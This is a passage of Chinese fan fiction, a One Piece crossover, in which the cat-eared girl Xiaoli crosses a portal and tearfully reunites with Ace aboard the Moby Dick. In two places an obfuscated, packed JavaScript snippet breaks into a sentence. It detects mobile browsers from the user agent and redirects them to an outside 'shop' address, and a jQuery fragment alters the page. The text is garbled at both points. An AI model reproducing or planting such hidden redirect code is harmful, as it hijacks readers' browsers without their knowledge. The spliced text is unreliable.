然而,总有无法用忙碌填满的空白时刻。在艾斯确实没有再回来的事实被彻底确认后,小狸的诊所又慢慢回到了最初那种门可罗雀、半死不活的状态。她其实并不缺钱,艾斯留下的“财富”甚至足够她离开锈带,在管理相对规范的中心城找一个舒适的地方住下来。 可是,她对那些毫无兴趣。 她只想留在这里。留在这个狭窄、破旧、却曾经因为她捡回一团火焰而短暂变得像一个“家”的地方。 更何况,她清楚地知道自己的身份——一个“试验品”。无论是在混乱肮脏的锈带,还是在光鲜却冷漠的中心城,本质都没有区别。哪里,都没有真正属于她的容身之所。 她开始习惯性地坐在地板上,背靠着那个冰冷的、将她所有温暖都吞噬了的衣柜,双臂抱着膝盖,一坐就是好几个小时。这里是艾斯最后消失的地方,仿佛凑近了,还能隐约捕捉到一丝他留下的、早已消散在空气中、几乎无法察觉的虚幻暖意。黑色的猫耳无精打采地耷拉着,紧贴发丝,长长的尾巴在地板上无意识地、缓慢地扫来扫去,划出寂寞的弧线。那双曾映照着火焰的蔚蓝眼眸,如今盛满了化不开的浓稠忧伤和一片荒芜的迷茫。 巨大的虚无感和足以溺毙人的寂寞,如同冰冷的海潮,一波接一波地拍打、吞没着她。她抱着膝盖坐在衣柜前,感到前所未有的疲惫,以及一种深入骨髓的……想念。 好想他。 好想再见他一面。哪怕……只是远远地看一眼也好。 这个念头一旦破土而出,就如同疯狂滋生的藤蔓,再也无法压抑,几乎要将她残存的理智彻底吞噬。 她把头深深埋进膝盖里,被这种汹涌到几乎令她窒息的思念折磨得浑身发抖,指尖深深掐入手臂的皮肤,留下苍白的印记。 “叮。” 一声轻微、却在此刻死寂环境中显得无比清晰的异响,突然从她那个装着“宝物”的小木柜里传了出来。 小狸猛地抬起头,一直耷拉的猫耳瞬间警觉地笔直竖起,转向声音来源。蓝色的眼眸如同被点燃的冰,紧紧锁定了那扇紧闭的柜门。 是……错觉吗?过度思念产生的幻听? “叮……咔……” 又是一声,更加清晰,像是某种精密的金属部件在转动、定位,最后轻轻扣合的声响。绝不是幻觉! 她踉踉跄跄地站起身,不知多久没有正经吃过东西,猛地起身带来一阵强烈的眩晕和眼前发黑。她稳住身体,几乎是扑到柜子前,用力拉开了柜门—— 那枚被她小心珍藏、却又在艾斯离开后不敢再多看一眼的永久指针,此刻正像之前那次一样,内部指针正在疯狂地转动!玻璃球体散发出比之前更加明亮、更加稳定的柔和光芒!很快,指针的速度减慢,最终稳稳地固定住,指向一个明确的方向! 不仅如此,一阵极其微弱、却清晰可辨的能量流动的嗡鸣声,夹杂着类似玻璃出现裂痕又迅速弥合的细微“咔嚓”声,从指针指向的方向隐隐传来。 她的心脏开始不受控制地狂跳起来,如同密集的鼓点敲击着胸腔。一个荒谬绝伦却又让她浑身血液几乎逆流的猜想,如同闪电般劈开她混沌的脑海。她顺着指针坚定不移所指的方向,颤抖着手,深吸了一口带着铁锈和灰尘味的冰冷空气,然后,用力拉开了那个她许久未曾主动打开的——衣柜门。 眼前的景象,让她瞬间屏住了呼吸,瞳孔放大。 只见衣柜内侧,那扇原本应该随着艾斯离开而一同消失的银色光门,不仅没有消失,反而比之前任何时候都要更加凝实、更加清晰! 门框的边缘闪烁着不稳定的、细碎的电弧光芒,刚才听到的嗡鸣和碎裂声似乎正是来源于此!它不再是被动等待的通道,更像是一个活跃的信号发射器,一个来自未知彼端的、清晰的呼唤。 小狸目瞪口呆地看着这扇去而复返、甚至变得更加“活跃”的“门”,大脑一片空白,所有的思绪都被这不可思议的景象冲击得七零八落。 为什么……它还在? 它通向哪里?还是……艾斯所在的那个世界吗? 它为什么会“活”过来? 无数个疑问如同沸腾的气泡,瞬间充斥了她的脑海。但很快,所有这些疑问都被一个更加汹涌、更加炽热、几乎点燃她全身血液的念头彻底覆盖、碾碎—— 门的另一边,可能有他。 这个认知让她浑身战栗,血液几乎要沸腾起来! 她猛地回头,环顾这个虽然属于自己、却冰冷空荡、再也无法带给她丝毫温暖和留恋的地方。诊所?财富?安稳?这些曾经她赖以生存、苦苦维持的东西,在“再见他一面”这个可能性面前,瞬间变得轻如鸿毛,无足轻重。 一种近乎蛮横的勇气和无法抑制的、火山喷发般的渴望,紧紧攫住了她的心脏和灵魂。 她想见他。无论如何,都想再见他一面! 做了几个深长的呼吸,小狸的眼神从最初的迷茫、震惊,迅速沉淀,转而变得无比坚定,甚至燃烧着一种破釜沉舟的火焰。她快速行动起来,只收拾了一个轻便的小背包,塞进几件换洗衣物、一点应急药品和食物,动作快得近乎仓促,仿佛生怕那扇门会像出现时一样突然消失。 然后,她站在这扇光芒流转的光门前,最后看了一眼这个她生活了许久、给予她痛苦也给予她短暂温暖的世界。她没有锁上诊所的门,甚至将它大大地敞开,带着一种彻底告别、不留退路的觉悟。这些,就留给更需要的人吧。 恍惚间,她仿佛能看到老K那气急败坏却又嘴硬心软的样子,一边跳脚骂她“败家的小混蛋”,一边又会冷着脸,往她手里塞点东西,别扭地让她“注意安全”。 她抿了抿唇,压下鼻尖的酸意,将那枚重新“活”过来的永久指针小心翼翼地戴在左手手腕上,冰凉的玻璃紧贴着皮肤。右手则紧紧握住了老K留下的、她一直贴身佩戴的项链。 没有太多犹豫,甚至没有时间允许她犹豫。她闭上眼睛,将艾斯的笑容、艾斯的温度、艾斯的声音,最后在脑海中清晰地勾勒了一遍,然后深吸一口气,像是奔赴一场未知却甘之如饴的命运,毅然决然地,一步踏入了那扇光芒流转的门中! --- 另一边,不久前的莫比迪克号上。 银光散去,熟悉的木质地板和房间陈设映入眼帘。艾斯晃了晃有些眩晕的脑袋,肩上的大背包“咚”地一声掉在地上,发出一声闷响。他回来了?时间似乎并没有过去多久,船舱外还能清晰地听到伙伴们熟悉的喧闹声、海浪声,以及那面骷髅旗在风中猎猎作响的声音。 他愣了片刻,随即,一股强烈到几乎让他眼眶发热的归属感如同暖流般涌遍全身。他回来了!真的回到了莫比迪克号! 他几乎是冲出房间,甲板上正在忙碌或嬉闹的船员们看到他突然出现,先是吓了一跳,随即爆发出震耳欲聋的欢呼声! “艾斯队长?!你什么时候回来的?!” “喂!艾斯!你这臭小子这几天跑哪去了?突然就没人影了!” “没事吧?受伤没有?” “好几天了,我们怎么都找不到你,还以为你被海军秘密抓走了!” 一番队队长兼船医马尔科第一时间化作青蓝色的不死鸟火焰飞掠而来,落在他面前,皱着眉头,用那双总是半睁着的眼睛上下打量他:“喂,艾斯,你这几天到底去哪了yoi?炎雀号炸的粉碎,你又突然失踪,很让人担心啊。” 艾斯看着闻讯纷纷聚拢过来的熟悉面孔,目光急切地在人群中搜寻,直到看到萨奇那个标志性的牛排头和他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941742|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上如释重负的笑容时,他才大大地松了一口气,一直紧绷的神经骤然放松,甚至有些脱力地原地瘫坐下来。 他回来了。大家都好好的。萨奇没事。太好了……真的太好了…… 在乱哄哄的插科打诨、拍肩拥抱和七嘴八舌的询问稍稍平息后,艾斯终于摆脱热情过头的伙伴们,来到了那端坐在甲板中央巨椅上、如同山岳般巍峨沉稳的身影面前——白胡子,爱德华·纽盖特。 “老爹!”艾斯一屁股盘腿坐在地上,仰头看着那张威严又慈爱的脸庞,脸上绽放出灿烂的、却又比以往多了一丝复杂深沉的笑容,“我回来了!” “咕啦啦啦……回来了就好,我的傻儿子。”白胡子洪亮而温暖的笑声如同抚慰心灵的海风,“看起来,你这趟短暂的‘失踪’,遇到了点不寻常的事?” 艾斯挠了挠头,在家人面前,他没有任何隐瞒的必要。他开始讲述自己这几天的“奇幻旅程”——如何意外坠入一个完全陌生的世界,如何在濒死之际被一个长着猫耳和尾巴的奇特女孩所救,如何在那间破旧却温暖的小诊所里养伤、生活,以及那个世界种种光怪陆离、与大海截然不同的事物。 “……她叫小狸,是个有点胆小、有点倔强,但其实非常温柔、非常善良的女孩。”艾斯说起小狸时,眼神不自觉地变得柔软,语气里带着他自己都未曾察觉的珍惜,“要不是她发现了我,把我拖回去,我可能真的就悄无声息地死在那条巷子里了。她明明自己也很害怕陌生人的接近,却还是收留了我这个来历不明的大麻烦……” 船员们听得津津有味,议论纷纷,对那个能变成猫的异世界少女充满了好奇。 “猫耳少女?真的存在吗?好想看看啊!” “异世界啊!听起来比新世界还要神奇!” “艾斯队长运气不错嘛,落难都能遇到好心人,还是这么特别的姑娘!” 白胡子听着儿子的讲述,巨大的手掌缓缓摩挲着丛云切的刀柄,那双仿佛能洞察一切的眼眸中带着了然与一丝欣慰的笑意:“咕啦啦啦……救危难于苦海,听起来,是个有着不错光芒的丫头。懂得向落难之人伸出援手,拥有一颗善良坚韧的心。艾斯,你欠她一份不小的恩情。” “嗯!”艾斯用力地点了下头,表情郑重,“我知道的,老爹。” 可是……这份恩情,他又该如何偿还呢?隔着世界的壁垒,他甚至连一句道谢,都无法再次传达。 艾斯望着眼前那片久违的、壮阔无垠的蔚蓝大海,海风吹拂着他的黑发。然而这一次,映在他眼眸深处的,熟悉的海天一线却让他看到了一双蔚蓝的眼睛。 暂时没有蒂奇的线索,回到熟悉的生活,被家人和伙伴们热情环绕,艾斯感到前所未有的安心与快乐。他很快就重新投入到白胡子海贼团日常的航行、热闹的宴会和肆无忌惮的胡闹之中,仿佛那段短暂的异世界插曲从未发生,一切都没有改变。 但有些东西,确实不一样了。如同最细微的沙砾落入蚌壳,最终会孕育出珍珠。 有时在宴会狂欢、酒意正酣的间隙,他会突然安静下来,独自靠在船舷边,看着跳跃的篝火倒映在漆黑的海面上,眼前晃动的火焰却仿佛渐渐变成了那只窝在他腿上、随着呼吸微微起伏、发出细小呼噜声的黑色小猫。 有时他会下意识地摸摸自己的口袋,仿佛里面还应该装着几颗她不知从哪里找来、包装古怪却甜滋滋的,硬塞给他的糖果。 有时在抚摸跳过来撒娇的柯达兹时,他会看着自己掌心出神,那里似乎还残留着另一种截然不同的、更加细软丝滑的毛发触感,以及那份奇异的、能轻易抚平他内心焦躁与思念的温暖与安宁。 那段短暂却深刻的异世界经历,那个名叫小狸的猫耳女孩,像一颗无意间落入他心湖的石子。石子或许已经沉底,但它荡开的涟漪,却久久未曾平息,悄然改变着湖面的微光。他也会忍不住担心,自己离开后,她一个人会不会又变回原来那样,独自蜷缩在冰冷的角落?会不会又开始只吃那些干硬无味的合成面包?会不会……在没人的时候偷偷哭泣?为什么……当时没有把心里那个疯狂的念头说出口…… 他想念那份无需言语的安静陪伴,想念那双总是映照着他身影的、蓝宝石般的猫瞳专注望着他的样子。 这份悄然滋生、深埋心底的牵挂,如同为他炽烈燃烧的火焰生命,添上了一抹细腻而柔软的底色。他依旧是那个如同火焰般炽热、自由不羁的白胡子海贼团二番队队长,只是心里某个角落,多了一个需要他默默惦念、远在无法触及的世界的“妹妹”。 他并不知道,也从未敢如此奢望—— 他此刻深深惦念的那个人,已经鼓起了此生所有的勇气,斩断了所有的退路,正追随着那枚指向他的指针,跨越世界的界限,穿越孤独与恐惧,再一次,义无反顾地,奔他而来。 16. 跨越世界的拥抱 莫比迪克号正航行在一片平静得近乎慵懒的海域上。午后的阳光透过稀薄的云层洒落,将甲板镀上一层蜂蜜般的金色光泽,连空气中浮动的尘埃都清晰可见。海风带着恰到好处的微醺感,轻轻拂过船帆,发出柔和的、类似叹息的声响。 艾斯正和萨奇勾肩搭背地靠在船舷边,两人的影子在木质地板上拉得很长。他们为晚上该吃烤全兽还是海鲜巨拼已经争论了快二十分钟——这种毫无意义的辩论是船上常见的消遣。 “烤全兽!必须烤全兽!”艾斯挥舞着手臂,雀斑在阳光下显得格外活泼,“上次那种带骨巨排,外皮烤得焦脆,一刀切下去肉汁能溅三尺远的那种!” 萨奇翻了个白眼,用沾着面粉的手推了推艾斯的脸:“你懂什么!海鲜拼盘才叫盛宴!新鲜捕上来的龙虾,比手臂还粗的章鱼须,用蒜蓉和黄油一烤……”他夸张地深吸一口气,“那香味能顺着海风飘出三海里!” 周围的船员们三五成群地享受着这难得的闲暇时光。有人躺在阴影里打盹,有人围坐在一起修补渔网,以藏正小心地保养着他的爱枪,每一寸金属都被擦拭得能照出人影。整艘船沉浸在一种温暖的、昏昏欲睡的宁静里,连海浪拍打船身的声音都变得格外轻柔。 突然,这宁静被一阵慌乱的脚步声打破。 一个年轻船员举着还在滴水的拖把从船舱里冲出来,脸上带着某种介于惊恐和困惑之间的表情。他指着身后的方向,声音因为奔跑而有些上气不接下气:“艾斯队长!你的房间!你的房间里好像有奇怪的动静!” “动静?”艾斯松开搭在萨奇肩上的手,微微直起身,眉头挑起一个疑惑的弧度,“老鼠吗?还是我东西没放稳?”他语气里并没有太多紧张,在海上航行,船舱里偶尔有些小动静再正常不过。但他还是转身朝自己房间的方向走去,步伐随意,带着一点被打断争论的不耐烦。 几个好奇的船员也放下手里的活计,跟在他后面,想看看热闹。萨奇还故意冲着趴在桅杆阴影下打盹的山猫柯达兹挑了挑眉,大声说:“柯达兹,船上有老鼠哦,看来你不够努力呀!” 大山猫懒洋洋地抬起眼皮,灰绿色的瞳孔斜睨了萨奇一眼,那眼神里充满了“愚蠢的人类”式的鄙夷。它慢条斯理地扭了扭毛茸茸的屁股,换了个更舒服的姿势,然后冲着萨奇的方向打了个大大的哈欠——一股带着鱼腥味的热气扑面而来——最后才优雅地舔了舔自己前爪的肉垫,完全是一副“懒得理你”的姿态。 艾斯失笑,摇摇头继续往前走。但越靠近自己的房间,一种奇异的感觉就越发明显。 起初只是一种微妙的违和感,像是一首熟悉的曲子突然跳了一个不和谐的音符。然后,空气中似乎开始弥漫起一种极其微弱的能量波动——那波动既陌生,又带着某种难以言喻的熟悉。像是隔着厚重的墙壁听到远方火焰燃烧的噼啪声,又像是暴雨来临前空气中积累的静电,让手臂上的汗毛不由自主地竖起。 艾斯的心脏忽然没来由地重重跳了一下。 他停在房门前,右手悬在黄铜门把上方几厘米处,竟罕见地犹豫了。木门严丝合缝地关闭着,和往常没有任何不同,但门缝里透出的光线似乎比平时更……晃动一些?他下意识地吞咽了一下,喉结滚动,掌心莫名其妙地开始发潮。 “怎么了艾斯?开门啊!”身后有船员催促。 艾斯深吸一口气,那口气息深深沉入肺底,带着海风的咸涩和自己房间里熟悉的、混合着纸张、皮革和淡淡硝烟的味道。他猛地压下门把,推开了门—— 时间在那一刻被拉长了。 推门的动作仿佛变成了慢镜头,木门轴旋转时发出的“吱呀”声被无限放大,刺耳又绵长。涌入房间的光线如同实体般流淌,先是照亮了地板上一小块区域,然后迅速扩张,将整个房间的轮廓从黑暗中剥离出来。 然后,所有人都看见了。 地板的正中央,坐着一个人。 那是个他们从未见过的女孩。她蜷着腿坐在地上,一只手撑在身后维持平衡,另一只手正揉着左侧手肘——一个下意识的、带着痛楚意味的小动作。她穿着一身与这个世界格格不入的奇怪衣物:面料是某种泛着冷光的合成材质,剪裁简单到近乎简陋,颜色是一种洗得发白的灰蓝,袖口和裤脚都有磨损的痕迹。一头黑色的微卷长发凌乱地披散着,发梢沾着灰尘和几片细小的、不知从何而来的木屑。她瘦得厉害,手腕纤细得仿佛一折就断,脸上也带着营养不良的苍白和长途跋涉后的疲惫,灰头土脸的。 但最引人注目的,是她发间。 一双黑色的、毛茸茸的猫耳,正因受惊而笔直竖起,每一根细小的绒毛都紧张地炸开,耳廓转向门口的方向,像最灵敏的雷达在捕捉空气中的每一丝异动。而从她身后绕过来的,是一条同样炸毛的黑色长尾巴,尾尖神经质地颤抖着,在木质地板上来回扫动,发出轻微的“沙沙”声。 小狸正揉着落地时被摔疼的胳膊。穿越的过程比她想象中更……颠簸。没有华丽的特效,没有温柔的光晕,只有一种仿佛被扔进高速旋转的滚筒洗衣机般的眩晕感,然后就是失重、坠落,最后“砰”地一声砸在坚硬的地板上。她蓝色的猫瞳里还残留着穿越带来的茫然和不适,正警惕地打量着这个陌生的空间——比她诊所大不了多少的房间,堆满了各种杂物:随意扔在椅背上的外套,桌上摊开的海图和凌乱的笔记,床头摆着吃了一半的肉干,空气里弥漫着一种强烈的、属于年轻男性的气息:汗水、阳光、火焰,酒精? 但在这陌生的气息中,她又捕捉到了一丝无比熟悉的、如同烙印在灵魂深处的温暖。那是艾斯的味道。像冬日里晒过太阳的棉被,像篝火燃烧时升腾的热浪,像他拥抱她时胸膛传来的、让人安心的温度。 这个认知让她紧绷的神经稍微松弛了一毫米。 就在这时,木门的轴承发出了轻微的、生涩的“嘎吱”声。 小狸下意识地转过头,看向了光透进来的地方。 逆着光,门口站着一个身影。轮廓被阳光勾勒出一圈毛茸茸的金边,面容在强光下显得模糊不清,只有那头熟悉的黑色短发和那顶标志性的橙色牛仔帽,在光影中勾勒出她夜夜梦回的剪影。 是幻觉吗? 又是那些因为思念过度而产生的、一碰就碎的梦境吗? 她不敢呼吸,怕稍微一动,眼前的幻象就会像阳光下脆弱的泡沫般消失。 然后,她看见了那双眼睛。 即使逆着光,即使隔着几步的距离,她还是清晰地看见了——那双总是盛满笑意和活力的黑眸,此刻正难以置信地瞪大,瞳孔因为极致的震惊而收收缩。那张脸上惯有的灿烂笑容消失了,取而代之的是一种混合了震惊、错愕、怀疑,最终汇聚成一种几乎要满溢出来的、纯粹狂喜的表情。 时间仿佛在这一刻真正静止了。船舱外海浪的声音、风掠过帆布的声音、远处船员们隐约的谈笑声,全部褪去,成为模糊的背景音。整个世界缩小到这个房间,缩小到这几步的距离,缩小到两人交汇的视线里。 “小……小狸?!!” 艾斯的声音炸开了凝滞的空气。那声音因为过度震惊而完全变了调,不再是平日里爽朗清亮的嗓音,而是某种从胸腔深处挤压出来的、近乎嘶吼的震颤。每个音节都裹挟着滔天的情绪,砸在安静的房间里,激起回声。 “真的是你?!你怎么会……怎么会在这里?!!” 最后一个字几乎是破音而出的。 下一秒,艾斯动了。 他像一个被按下了快进键的人偶,所有的动作都失去了平日的从容。他一个箭步冲进房间,甚至因为太过激动、步伐太大,左脚脚尖狠狠绊在了门槛凸起的木条上,整个人向前踉跄了一大步,差点以狼狈的姿势扑倒在地。但他完全顾不上这些,只是凭借本能稳住身形,几乎是连滚带爬地冲到了小狸面前。 然后他蹲下了——不,那更像是“跪跌”下来。膝盖重重磕在地板上,发出沉闷的撞击声,但他浑然不觉。他的双手伸向小狸,手臂在空中颤抖得厉害,指尖几次快要触碰到她的肩膀,又像被烫到般蜷缩回去。他想碰碰她,想确认这是真实的血肉之躯,而不是另一个醒来就会消散的梦境,但又害怕这真的是幻觉,轻轻一碰就会碎裂。 他的眼睛死死盯着小狸的脸,眨也不敢眨,仿佛一眨眼她就会消失。那眼神里翻涌着太过复杂浓烈的东西:失而复得的狂喜,难以置信的震撼,后知后觉的恐慌,还有某种深切的、几乎要将他淹没的思念。 “艾斯……哥哥?” 小狸的声音很轻,带着穿越后的恍惚和不确定。她还坐在地上,仰着头看他,蓝色的眼睛睁得圆圆的,像两枚浸在泉水里的玻璃珠,表面迅速蒙上了一层湿润的水光。她看着眼前这个人,看着他脸上毫不掩饰的、几乎可以用“狰狞”来形容的喜悦表情,看着他颤抖的手,看着他眼睛里那浓得化不开的情绪。 一直紧绷的、悬在心口的、名为“忐忑”和“不安”的那根弦,在这一刻,“嘣”地一声,断了。 不是梦。 是真的。 她找到了。她真的跨越了那个冰冷的世界,找到了她的火焰。 “我……我找到你了……”小狸的嘴唇开始颤抖,声音里带上了无法抑制的哭腔,那哭腔很软,很细,像受伤幼兽的呜咽,却又充满了全心全意的依赖,“我真的找到你了……” 这句话像是一把钥匙,彻底打开了艾斯心中那扇名为“理智”和“克制”的闸门。 巨大的喜悦和失而复得的激动如同积蓄了太久的海啸,轰然冲破堤防,将他彻底淹没。他再也忍不住了——也根本不想忍——猛地伸出双臂,将地上那个纤细的、灰扑扑的、看起来一碰就会碎的身影,紧紧、紧紧地搂进了怀里。 那不是温柔的拥抱。 那是近乎蛮横的、带着某种绝望力度的禁锢。他的手臂像铁箍一样环住小狸的肩膀和后背,力道大得几乎能听见骨骼被挤压的轻微声响。他把脸深深埋进她的颈窝,鼻尖抵着她微凉的皮肤,用力地呼吸着——呼吸着她身上那股熟悉的、带着一点点奶甜味和药草清香的气息,混杂着穿越带来的尘土味和汗水味。这气息真实得让他心脏发疼。 “笨蛋!傻瓜!” 他的声音闷闷地从她颈窝里传出来,带着明显的颤抖,每一个字都像是从牙缝里挤出来的,裹挟着滚烫的呼吸喷在她的皮肤上。 “你怎么敢……你怎么敢一个人就穿过那扇门?!你知道这有多危险吗?!万一出事了怎么办?!万一你掉进海里了怎么办?!万一你落到哪个不知名的荒岛上了怎么办?!万一……万一……” 他说不下去了。那些“万一”像冰冷的针,在他想象中扎出无数鲜血淋漓的可能。手臂收得更紧,几乎要把她整个揉进自己的胸膛里,嵌进自己的骨血中,仿佛这样就能确保她再也不会消失,再也不会面临任何危险。 天知道刚才推开门的瞬间,看到那个熟悉的身影,就那样真实地、毫无预兆地出现在他房间的地板上时,他的心脏经历了怎样的骤停和重启。那一瞬间的冲击,比任何强敌的拳头都要来得猛烈,直击灵魂最深处。 小狸被他勒得有些喘不过气,肋骨传来压迫感,但她没有丝毫挣扎。她抬起细瘦的手臂,犹豫了一下,然后轻轻地、试探性地回抱住了他。 这个真实的触感让她最后一丝不确定也烟消云散。 “我没想那么多……”她把脸埋在他胸前,声音被布料滤得模糊不清,带着潮湿的水汽,“我怕它又消失了……我怕再也见不到你了……那里只有我一个人了,每天都好冷……房间空荡荡的,面包好难吃,晚上怎么也睡不着……” 她断断续续地说着,语句破碎,逻辑混乱,只是把那些独自度过的、冰冷孤寂的日子里积攒的委屈和思念,一股脑地倾倒出来。 “我好想你,哥哥……每一天,每一天都想……” 眼泪终于决堤。滚烫的液体汹涌而出,迅速浸湿了艾斯胸前的衣料。她不再压抑,也不再觉得丢脸,只是在他怀里放声哭泣,像要把穿越世界积累的所有恐惧、所有孤独、所有思念,都通过泪水冲刷干净。 两人就这样紧紧相拥,跪坐在木质的地板上。阳光从门口斜射进来,将他们的影子拉长,投在墙壁上,融合成一个密不可分的整体。空气中漂浮的尘埃在光柱里缓缓飞舞,像是为这场跨越世界的重逢洒下的金色粉末。所有的声音都远去了,只剩下彼此激烈的心跳声、压抑的啜泣声,和那沉重而滚烫的呼吸声。 时间失去了意义。这一刻,世界只剩下这个拥抱。 --- “喂喂喂!艾斯!这什么情况啊?!” 门口传来的惊呼声像一块石头砸进了静谧的池塘。 艾斯浑身一震,仿佛大梦初醒。他这才迟钝地意识到,房间门口不知何时已经挤满了黑压压的人头。每一个船员——包括刚才还在甲板上打盹的——此刻都伸长了脖子,瞪大了眼睛,脸上写满了震惊、好奇、兴奋和毫不掩饰的八卦之光。 “哇!真的有个猫耳小姑娘!”有人倒吸一口凉气。 “这就是艾斯队长整天念叨的那个异世界的救命恩人?”另一个声音拔高了调子。 “我的天!居然真的穿越世界找来了?!这也太厉害了吧?!”惊叹声此起彼伏。 “怪不得艾斯这几天魂不守舍的,原来是在想小姑娘啊!”有人促狭地起哄。 口哨声、嬉笑声、议论声瞬间炸开了锅,刚才那种凝重的、几乎神圣的氛围被冲得七零八落。十几双眼睛齐刷刷地盯着房间里紧紧相拥的两人,目光灼热得几乎能在他们身上烧出洞来。 艾斯的脸“腾”地一下红透了,从脖子根一路烧到耳尖,连雀斑都快被染红了。羞恼和尴尬像两把火,烧得他头皮发麻。他几乎是触电般松开了怀里的小狸——但右手仍像有自己的意识一样,紧紧攥住了她的手腕,指节用力到泛白,仿佛那是连接他和现实的唯一锚点。 他猛地扭过头,对着门口那堆挤挤攘攘的脑袋吼道,声音因为羞愤而有些变形:“看什么看!都没事干了吗?!该干嘛干嘛去!” “哦——害羞了害羞了!”以藏站在人群最前面,用和服袖子优雅地掩着嘴,但那双弯起的眼睛和抖动的肩膀完全出卖了他憋笑的事实。 萨奇凑过来,结实的手臂重重捶了一下艾斯的肩膀,挤眉弄眼,压低了声音但用全走廊都能听见的音量说:“小子可以啊!不声不响的,就把人家小姑娘拐到船上来了?” 马尔科推了推鼻梁上的眼镜,不知何时也出现在了门口。他靠着门框,双臂环胸,看着紧紧抓着艾斯手臂、几乎要把自己完全藏到他身后、只露出一双湿漉漉蓝眼睛和一对紧张得贴住头皮的猫耳的少女,嘴角勾起一丝了然又带着点无奈的弧度。 “呀嘞呀嘞,”他慢悠悠地开口,尾音拖得很长,“真是不得了的发展呢,yoi。” 艾斯觉得自己的脸快要烧起来了。他几乎是手忙脚乱地把人往外赶,用身体挡住那些探究的视线,最后“砰”地一声关上了门,将喧嚣隔绝在外。木门隔绝了大部分声音,但还能听见外面隐约传来的哄笑声和议论。 世界重新安静下来,只剩下房间里两人的呼吸声。 艾斯背靠着门板,深深吸了一口气,又缓缓吐出,试图平复过快的心跳和脸上的燥热。他转过身,重新看向小狸。 女孩还坐在地上,仰着脸看他。脸上泪痕未干,在沾满灰尘的脸颊上冲出几道狼狈的痕迹,蓝色的眼睛像被雨水洗过的晴空,清澈又湿润,里面清晰地倒映着他通红的脸和乱糟糟的头发。 艾斯的心一下子软成了一滩水。 他走回她身边,这次没有蹲下,而是单膝跪地,保持着一个可以平视她的高度。他从口袋里摸出一块说不上干净、但还算柔软的布帕——不知道是擦过汗还是擦过武器,但他此刻顾不上这些——小心翼翼地、像对待易碎的瓷器一样,轻轻擦拭她脸上的泪水和灰尘。 他的动作很慢,很轻。指腹隔着粗糙的布料,一点点拂过她的额头、眼角、脸颊、下巴。每擦一下,他心里的某个角落就更柔软一分。那些后怕、那些担忧、那些失而复得的狂喜,慢慢沉淀下来,转化为一种更为深沉、更为绵长的温柔。 “小狸,”他开口,声音比刚才平静了许多,但依旧带着一丝不易察觉的沙哑,“谢谢你……谢谢你能够来到这里。” 他的拇指停在她的眼角,那里还残留着一点湿润。他凝视着她的眼睛,那双总是带着警惕和疏离的蓝色猫瞳,此刻只有全然的依赖和找到归宿的安心。 “但是,”他的语气变得无比认真,甚至带上了一点兄长式的严肃,“下次绝对不能再做这么危险的事了,知道吗?” 他顿了顿,像是在组织语言,又像是在压抑再次翻涌的情绪:“那扇门……那个通道,我们完全不了解它。万一它不稳定,万一它通向的不是这里,而是深海、是火山、是敌人的大本营……万一你在穿越的时候出了什么意外……” 他不敢再说下去。仅仅是想象那些可能性,就让他胸口发紧,呼吸不畅。握住她手腕的手指又不自觉地收紧了一些,仿佛要通过这真实的触感来确认她的存在。 小狸乖乖地让他擦脸,没有躲闪。她能感觉到他指尖细微的颤抖,能听出他语气里浓得化不开的后怕。她轻轻点了点头,小声道:“我知道了。” 艾斯的目光落在她身上,仔仔细细地打量。这一打量,他的眉头立刻紧紧皱在了一起,拧成一个深深的“川”字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941743|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太瘦了。 比他们初遇时还要瘦。手腕细得他一只手就能轻松圈住,腕骨凸出得硌手。肩膀单薄得像纸片,锁骨深深凹陷下去,形成两道触目惊心的阴影。脸颊上原本好不容易养出来的一点软肉彻底消失了,下巴尖得能戳人,显得那双蓝眼睛大得有些突兀。衣服空荡荡地挂在身上,领口都有些松垮。 一种尖锐的心疼狠狠刺了他一下。 “怎么会瘦得这么厉害?”他的声音沉了下来,带着明显的不悦和担忧,“你有好好吃饭吗?我不在的时候,你是不是又只啃那些合成面包了?” 小狸的身体几不可察地僵了僵。她垂下眼睛,长长的睫毛像受惊的蝶翼般颤动,不敢看他的眼睛,只是胡乱地点着头,小声咕哝:“有、有吃的……” 但那条从身后绕过来的黑色长尾巴,却完全出卖了她。尾巴尖不安地、快速地左右甩动着,在地板上划出凌乱的轨迹,那是她紧张和心虚时最明显的标志。 艾斯看着她这副欲盖弥彰的样子,心头那股火气瞬间就被更深的心疼和无奈取代了。他长长地、深深地叹了口气,那叹息声里包含了太多复杂的情绪:自责、懊恼、怜惜,以及一种强烈的、想要把她保护起来、再也不让她受一点苦的冲动。 他已经在心里飞快地盘算起来:萨奇那里还有多少库存的肉?哪种鱼最补身体?要不要去下一个岛采购一些特别的食材?一定要在最短的时间内把这只小猫喂得白白胖胖、健健康康的,让她脸上重新长出柔软的红晕,让她的手臂和腰身摸起来不再只有硌手的骨头…… 想到自己离开后,她一个人在那个冰冷绝望的世界里可能经历的日子——独自守着空荡荡的诊所,啃着干硬无味的食物,在每一个漫长的夜晚蜷缩在冰冷的角落,或许还会因为那些不怀好意的目光而担惊受怕……艾斯的心脏就像被一只无形的手狠狠攥住,拧绞,疼得他几乎要喘不过气。 抓住她手腕的手,不自觉地更紧了些,紧到小狸轻轻“嘶”了一声,他才像被烫到般猛然松开,脸上闪过一丝慌乱和歉意。 “抱歉……”他低声说,揉了揉她的手腕,那里已经留下了一圈浅浅的红痕。 